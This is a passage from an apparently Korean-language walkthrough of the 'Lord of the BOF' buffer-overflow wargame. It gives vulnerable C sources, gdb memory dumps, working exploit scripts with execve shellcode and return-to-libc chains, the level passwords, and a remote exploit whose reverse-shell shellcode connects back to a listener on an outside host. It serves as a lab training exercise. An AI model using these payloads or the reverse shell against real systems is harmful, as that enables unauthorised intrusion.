3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 코어덤프로바로확인해보면서풀어보겠습니다. [skeleton@localhost skeleton]$./gole1 `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'` Segmentation fault (core dumped) [skeleton@localhost skeleton]$ gdb -q gole1 core 31

(gdb) x/160x $esp-1100 0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5d0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffff5e0: 0x31e18953 0xcd0bb0d2 0x40000080 0x40013868 주소를찾았습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/skeleton/golem" ret=0xbffff590 limit=44 payload="\x90"*44+p(ret) os.execv(target,[target,payload]) 결과 [skeleton@localhost skeleton]$ python boom.py bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee bash$ 32

golem / cup of coffee /* */ The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO #include <stdio.h> #include <stdlib.h> void problem_child(char *src) char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); main(int argc, char *argv[]) if(argc<2) printf("argv error\n"); problem_child(argv[1]); 41바이트만덮을수있습니다. 버퍼제한을해버렸으니어쩔수없습니다. 하지만 1byte만으로오버플로우가가능합니다. sfp를조작하여흐름을조작하는것입니다. leave는 mov ebp, esp; pop ebp 후 ret는 pop eip 이니 sfp를잘조작하면흐름조작에성공할것입니다. 코어덤프를하면서어떤원리인지보도록해보겠습니다. 33

[golem@localhost golem]$./darkknigh1 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*15+"\xa0"'` 코어덤프 (gdb) x/160x $esp -a0 일때 \xbffffaa8이동 0xbffffaa8: 0x08048466 0x08048500 0xbffffab4 0x6850c031( 쉘코드 ) 0xbffffab8: 0x68732f2f 0x69622f68 0x50e3896e 0x31e18953 0xbffffac8: 0xcd0bb0d2 0x90909080 0x90909090 0x90909090 0xbffffad8: 0x90909090 0xbffffaa0 0x0804849e 0xbffffc32 sfp 를조작하면 +8 이동한걸알았습니다. 마지막 1byte 는 \ac 로하면클리어됩니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/golem/darkknight" limit=41 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload=shellcode+"\x90"*(limit-len(shellcode)-1)+"\x8c" --argv[0] 때문에오차수정- os.execv(target,[target,payload]) 결과 [golem@localhost golem]$ python boom.py يز h//shh/bin 1 % 黿 @ bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker 34

darkknight / new attacker /* */ The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack betrayed you!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); argv[1] 의 48글자를 bf면종료하기로정해버렸습니다. 즉, 스택영역은사용불가능이란뜻입니다. lib 공유라이브러리의주소를사용하면되겠습니다. 이공격방법을잘이해하면고급기법을이해하는데큰힘을줍니다. RTL이라고하며 ret을 lib 공유라이브러리주소로오버플로우하는기법입니다. 35

그럼 lib 함수주소를구해서 rtl 해보겠습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> ------------------------------------------------------------------------------------------------------ binsh파일소스 int main() long shell; shell=0x40058ae0; while(memcmp((void*)shell,"/bin/sh",8))shell++; printf("bin/sh is at 0x%x\n",shell); [darkknight@localhost darkknight]$./binsh bin/sh is at 0x400fbff9 system 함수주소와 bin/sh 문자열주소를알았습니다. import os from struct import * p = lambda x : pack("<l",x) target="/home/darkknight/bugbear" system=0x40058ae0 binsh=0x400fbff9 limit=44 payload="\x90"*44+p(system)+"junk"+p(binsh) os.system(target+" "+payload) 결과?JUNK bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide 36

bugbear / new divide /* */ The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2) printf("argv error\n"); // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/awk 'print $4'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 /bin/grep execve /bin/awk 'print $1'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); 37

execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret!= execve_addr) printf("you must use execve!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 소스를보면 ret의주소가 execve() 여야만합니다. RTL공격을해야하는데까다로운인자가있습니다. /bin/sh,0,& /bin/sh,0 ) 인데마지막인자가까다롭습니다. bin/sh의포인터를만들어줘야하는데환경변수나심볼릭링크로파일이름을 /bin/sh의주소로만들어버리면됩니다. 환경변수에 &/bin/sh의주소를넣고브루트포스를하여공격해보겠습니다. #include <stdio.h> int main() long shell; shell=0x40050000; while(memcmp((void*)shell,"/bin/sh\x00",8))shell++; printf("/bin/sh : 0x%x\n",shell); [bugbear@localhost bugbear]$./binsh /bin/sh : 0x400fbff9 /bin/sh 의주소입니다. 38

(gdb) p execve $1 = <text variable, no debug info> 0x400a9d48 < execve> execve 의주소입니다. 이걸로원하는주소를다모았습니다. 환경변수에 \xf9\bf\x0f\x40 을추가하는코드와부르트포 스를하는코드를짜보겠습니다.. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) up= lambda x : unpack("<l",x)[0] target="/home/bugbear/giant" execve=0x400a9d48 binsh=0x400fbff9 null=0xbffffffc os.putenv('moomoo',p(binsh)) for j in range(0xff,0,-1): for i in range(0xff,0,-1): pid = os.fork() payload="\x90"*44+p(execve)+"junk"+p(binsh)+chr(i)+chr(j)+"\xff\xbf"+p(null) if pid==0: print hex(up(chr(i)+chr(j)+"\xff\xbf")) os.execv(target,[target,payload]) else: os.waitpid(pid,0) os.putenv() 는왼쪽이환경변수고오른쪽이해당하는문자열을추가하는함수입니다. 39

( 중략 ) @JUNK?y 0xBFFFFCD2L H @JUNK?y 0xBFFFFCD1L H @JUNK?y 0xBFFFFCD0L ( 중략 ) 0xBFFFFBA8L H @JUNKÿ i686: /home/bugbear/.bashrc: Permission denied bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ my-pass euid = 514 one step closer bash$ 40

giant / one step closer /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); 41

ret 부분에는 \bf \x40으로시작하면안됩니다. 이럴때쓰는기법으로 ret sledding이있습니다. ret sleding이란리턴스택에 ret의코드세그먼트주소를넣는기법으로 esp를핸들링할수있습니다. ret는 pop eip jmp eip입니다. pop은 esp+4 하기때문에 ret부분에 ret주소를넣는다면 esp 가 +4되면서그다음부분을가리키게됩니다. 그뒤는 rtl을해주면조건을우회하고 rtl을쓸수있습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> 0x804851d <main+173>: 0x804851e <main+174>: 0x804851f <main+175>: nop leave ret /bin/sh : 0x400fbff9 #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/giant/assassin" ret=0x804851e system=0x40058ae0 binsh=0x400fbff9 limit=44 payload="\x90"*limit+p(ret)+p(system)+"junk"+p(binsh) os.execv(target,[target,payload]) 결과 42

[giant@localhost giant]$ python boom.py -?JUNK bash$ id uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) bash$ my-pass euid = 515 pushing me away bash$ 43

assassin / pushing me away /* */ The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); 44

ret까지버퍼제한이되어있습니다. 그리고스택부분과공유라이브러리부분을쓸수도없습니다. 이때는소스맨위의주석을보면 FEBP를확인할수있습니다. FEBP란 leave (mov esp, ebp pop ebp) 를한번더실행하는방법입니다. 즉, ret부분에 leave의주소를넣어서 leave가한번더실행하는것입니다. 0x80484dc <main+156>: add 0x80484df <main+159>: leave 0x80484e0 <main+160>: $0x8,%esp ret (gdb) x/124x $esp 0xbffffa84: 0xbffffa90 0xbffffc1b 0x00000030 0x90909090 0xbffffa94: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab4: 0x90909090 0x00000000 0x00000000 0x00000002 nop*19 + shellcode(25byte) + &buffer + leave gadget buffer 의주소는 -8 을해줘야합니다. -4 만하는줄알았는데 core dump 를해보며확인한결과 +8 이동했습니다. 0xbffffa84 를 sfp로했을때 (gdb) x/124x $esp --core dump 0xbffffa8c: 0xbffffa90 0x90909090 0x90909090 0x90909090 0xbffffa9c: 0x31909090 0x2f6850c0 0x6868732f 0x6e69622f 0xbffffaac: 0x5350e389 0xd231e189 0x80cd0bb0 0xbffffa84 0xbffffabc: 0x080484df 0x00000002 0xbffffb04 0xbffffb10 +8 한것을확인할수있습니다. 그리고이번문제에서는쉘코드로풀건대 rtl 로도풀수있습니 다. nop 첫부분을 ret 라생각하고 rtl 하면됩니다. 45

쉘코드를이용한방법 (sfp 에 buffer-8 주소넣으면됨 or A*8 을넣은후 sfp 에 buffer 주소넣기 ) [assassin@localhost assassin]$./zombie_assassin `python -c 'print "AAAAAAAA"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\ xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*7+"\x88\xfa\xff\xbf "+"\xdf\x84\x04\x08"'` يز h//shh/bin 1 bash$ id uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin) bash$ my-pass euid = 516 no place to hide rtl 이용한방법. (sfp 에 buffer-4 or aaaa 를먼저앞에넣고 sfp 에 buffer 주소넣으면끝 ) [assassin@localhost assassin]$./zombie_assassi1 `python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"JUNK"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa \xff\xbf"+"\xdf\x84\x04\x08"'` ߄ɀAAAAА bash$ id uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin) bash$ my-pass euid = 516 no place to hide 디버깅을통해 rtl 은 4 의오차를가지고있고 shellcode 를이용한방법은 8 의오차를가지고있는 걸알아봤는데왜그런지고민을해봤지만알지못했습니다. 숙제가늘었군요.. 46

zombie_assassin / no place to hide /* */ The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) if(check!= 4) printf("welcome to the MO!\n"); // olleh! system(cmd); void YUT(void) if(check!= 3) printf("welcome to the YUT!\n"); check = 4; void GUL(void) 47

if(check!= 2) printf("welcome to the GUL!\n"); check = 3; void GYE(void) if(check!= 1) printf("welcome to the GYE!\n"); check = 2; void DO(void) printf("welcome to the DO!\n"); check = 1; main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // you cannot use library if(strchr(argv[1], '\x40')) printf("you cannot use library\n"); 48

// check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with DO\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); 소스의맨밑을보면 LD 환경변수를지웠고스택의공간중쓸수있게만든곳은 ret뿐입니다. 그리고 ret에는 \40 부분을절대쓸수없고애초에무조건 do의주소만덮을수있습니다. ret로바로 mo까지가버려도중간중간 check 변수를증가시킨후마지막에검증하기때문에무조건도, 개, 걸, 윷, 모순으로이동해야합니다. nm 명령어로함수의주소를찾아보겠습니다. [zombie_assassin@localhost zombie_assassin]$ nm succubus 080487ec T DO 0804878c T GUL 080487bc T GYE 08048724 T MO 0804875c T YUT 49

문제는 /bin/sh의주소를어떻게구하냐입니다. \x40을쓰지못하는상황이니만들어내야하는데대부분의스택공간을사용하지못합니다. 방법은 rtl을하는중에는초기화를하지않으니 도게걸윷모 +AAAA+90909090+/bin/sh 이런식으로스택에집어넣고코어덤프를통해 /bin/sh 의주소를알아내는겁니다. 알아낸주소를 90909090과바꾸면공격은성공하게됩니다. [zombie_assassin@localhost zombie_assassin]$./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x 5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x90\x90\x90\x90"+"\x2f\x6 2\x69\x6e"+"\x2f\x73\x68\x00"'` Segmentation fault (core dump) (gdb) x/124x $esp --- core dump 화면 0xbffffa94: 0x90909090 0x6e69622f 0x0068732f 0x08048808 0xbffffaa4: 0x00000002 0xbffffac4 0x0804839c 0x0804894c 0xbffffab4: 0x4000ae60 0xbffffabc 0x40013e90 0x00000002 0xbffffac4: 0xbffffbbf 0xbffffbca 0x00000000 0xbffffc1a 0xbffffad4: 0xbffffc34 0xbffffc4d 0xbffffc6c 0xbffffc8e 0xbffffae4: 0x00000000 0x00000000 0x00000000 0x00000000 \x90909090 다음부분을보면 /bin/sh\x00 부분이있는것을알수있습니다. 이에맞게 0x90909090 을수정하여공격해보겠습니다. [zombie_assassin@localhost zombie_assassin]$./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x 5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"\x2f\x62\ x69\x6e"+"\x2f\x73\x68\x00"'`.¼\$aaaain/sh welcome to the DO! ( 중략 ) welcome to the MO! bash$ id uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin) bash$ my-pass euid = 517 here to stay 50

succubus / here to stay /* */ The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with strcpy()\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); 51

ret 에는 strcpy() 함수의주소만쓰여야하고그다음스택은무조건 AAAA 가쓰여집니다. 사실이 문제는 rtl 을두번하는거와같습니다. 첫번째 rtl 을한후인자를지우고새인자를씌우는것 이까다로운데 strcpy() 을이용하여새인자를씌어 rtl 을두번해보겠습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> [succubus@localhost /tmp]$./binsh /bin/sh : 0x400fbff9 0x8048410 <strcpy> 갖춰야할인자를다준비해보았습니다../nightmar1 `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"\x90"*32+"\x10\x84\x04\x0 8"+"AAAA"+"\x90\x90\x90\x90"+"\x91\x91\x91\x91"'` core dump 버퍼시작주소 0xbffffa84: 0x00000041 0x00000004 0x08048410 0x40058ae0 0xbffffa94: 0x41414141 0x400fbff9 0x90909090 0x90909090 0xbffffaa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab4: 0x90909090 0x4000ae60 0x90909090 0x41414141(chain) 0xbffffac4: 0x90909090 0x91919191 0x40013800 0x00000002 0xbffffad4: 0x08048420 0x00000000 0x08048441 0x080486b4 여기서보면페이로드의끝에 \x90909090 과 \x91919191이있습니다. 여기부분은 strcpy인자부분입니다. 정확한주소를몰라임의로넣은것이고코어덤프를통해정확히알아냈습니다. 저 chain 부분에버퍼시작주소의부분을넣으면 chain 부분이버퍼시작의문자열로덮여지면서새로운 ret와인자가생겨납니다. 이로써한번더 rtl공격을할수있고공격은성공하게됩니다. 52

[succubus@localhost succubus]$./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"\x90"*32+"\x10\x84\x04\x0 8"+"AAAA"+"\xc0\xfa\xff\xbf"+"\x90\xfa\xff\xbf"'`?AAAAАAAAAzy bash$ id uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus) bash$ my-pass euid = 518 beg for me 참고로 argv[1] 을이용해서해보면안됩니다. 아마 argv[1] 이후를덮는것이안좋은영향을끼친 거라추측됩니다. 53

nightmare / beg for me /* */ The Lord of the BOF : The Fellowship of the BOF - xavius - arg #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> main() char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') printf("stack retbayed you!\n"); if(*(buffer+47) == '\x08') printf("binary image retbayed you, too!!\n"); // check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2)!= 0) // end point of function 54

if(*ret_addr == '\xc9') // leave if(*(ret_addr+1) == '\xc3') // ret printf("you cannot use library function!\n"); ret_addr++; // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); leave 와 ret 금지즉, 함수형이 ret에오면안됨, LD환경변수 0초기화, 스택쓸수있는공간 ret 부분뿐, 코드세그먼트사용불가정도있는데 \x40을막지않았습니다. \x40은막지않았지만함수형태를막아버렸으니 rtl은할수없습니다. \x40 주소쪽에쉘코드를올려서공격하면되겠는데어떻게하면좋을까요? 방법은 buffer에서내부입력값을 stdin에서임시로저장을합니다. 거기의주소가라이브러리지만함수형태는아니기때문에사용할수있습니다. stdin주소를추적해보겠습니다. 0x804871a <main+6>: mov 0x8049a3c,%eax 0x804871f <main+11>: push %eax 0x8048720 <main+12>: push $0x100 0x8048725 <main+17>: lea 0xffffffd8(%ebp),%eax 0x8048728 <main+20>: push %eax 0x8048729 <main+21>: call 0x8048408 <fgets> fgets( buffer, 256, stdin ) -40(ebp),0x100,0x8049a3c 인자값의주소를알아냈습니다. 55

stdin 을추적하기위해 fgets 다음에브포를걸고 stdin 의값을확인해보겠습니다. (gdb) b *main+26 Breakpoint 1 at 0x804872e (gdb) r Starting program: /home/nightmare/xaviu1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x804872e in main () (gdb) x/x 0x8049a3c 0x8049a3c <stdin@@glibc_2.0>: 0x401068c0 (gdb) x/8x 0x401068c0 0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015050 0x40015050 0x40015000 0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0x40015000 보면 0x40 주소가많이보입니다. 일단 0xfbad 부터순서대로하나씩분석해보면 (gdb) x/124x 0x40015000 0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015030: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015040: 0x41414141 0x41414141 0x41414141 0x0a414141 0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000 임시버퍼를찾았고여기부분에쉘코드를올려서공격해보겠습니다. 56

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat)./xavius 1?h//shh/bin???P@ id uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) my-pass euid = 519 throw me away 57

xavius / throw me away /* */ The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(af_inet, SOCK_STREAM, 0)) == -1) perror("socket"); exit(1); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); 58

1) if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == - perror("bind"); exit(1); if(listen(server_fd, 10) == -1) perror("listen"); exit(1); while(1) sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1) perror("accept"); continue; if (!fork()) send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; close(client_fd); while(waitpid(-1,null,wnohang) > 0); close(server_fd); 자체적으로통신할수있는프로그램입니다. xinetd.d 를통한것이아닌소켓을자체적으로생성 을합니다. 이러한프로그램을오버플로우하려면리버스쉘혹은포트바인딩쉘코드를이용해야 59

합니다. recv 를잘보면 buffer 는 40 인데응답을 256byte 를하는부분에서취약점이발생합니다. http://shell-storm.org/shellcode/files/shellcode-833.php reverse shellcode 입니다. 들어가보면 ip와 port를수정할수있게예쁘게표시도해놨습니다. 바로공격해보도록해보겠습니다. #!/usr/bin/env python from socket import * from struct import * p = lambda x : pack("<l",x) shellcode=\ "\x68"+\ "\xc0\xa8\xcc\xa3"+\ <<<<<<ip 192.168.204.163 ( 수정가능 ) "\x5e\x66\x68"+\ "\xd9\x03"+\ <<<<<<port 55555 ( 수정가능 ) "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\ "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\ "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\ "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ "\xeb\xce" HOST='192.168.204.134' PORT=6666 limit=255 for j in range(0xff,0,-1): for i in range(0,0xff,100): payload="a"*44+chr(i)+chr( j)+"\xff\xbf"+"\x90"*(limit-len(shellcode)- 48)+shellcode s=socket(af_inet,sock_stream) s.connect((host,port)) print s.recv(1024) #print s.recv(10) s.send(payload) s.close() 이상하게이부분을받아주지않아야브루트포스가가능 60

코드를실행하기전에포트번호를리슨해놓겠습니다. moomoo@ubuntu:~$ nc -lvp 55555 Listening on [0.0.0.0] (family 0, port 55555) 보다시피쉘코드수정부분으로맞춰놓은부분을리슨해놓습니다. Death Knight : Not even death can save you from me! Death Knight : Not even death can save you from me! Death Knight : Not even death can save you from me! ( 하략 ). 브루트포스를끝내고나서리슨한포트를확인해보겠습니다. nc -lvp 55555 Connection from [192.168.204.134] port 55555 [tcp/*] accepted (family 2, sport 1030) id uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight) my-pass euid = 520 got the life 완료했습니다!! 61

death_knight / got the life [death_knight@localhost death_knight]$ ls dropped_item.txt [death_knight@localhost death_knight]$ cat dropped_item.txt You're so great! This is a token to the next gate.,.,' `.,' _<>_ `.,'.-' `-.`.,'_.-'' ``-._`.,',' /\ `.`.,' /.._ O / \ O _.,\ `.,'/ / \ ``-;.--.:-'' / \ \`.,' : : \ /\`.,'/\ / : : `. < <> O >(< ( ) >)< O <> > `. : : / \/,'`.\/ \ ; ;,' `.\ \ /_..-:`--';-.._\ / /,' `. \`' O \ / O `'/,' `.`._ \/ _,',' `..``-..-'',,' `.`-..-',' `. <>,' `.,' `' [death_knight@localhost death_knight]$ 이로써 lob 레드햇을완료했습니다. lob 만큼은개인적으로초보자가무조건거쳐가야하는정석 과같다고생각합니다. 앞으로도반복해서풀며 fc3 fc4 fc10 을향에달려가겠습니다. 62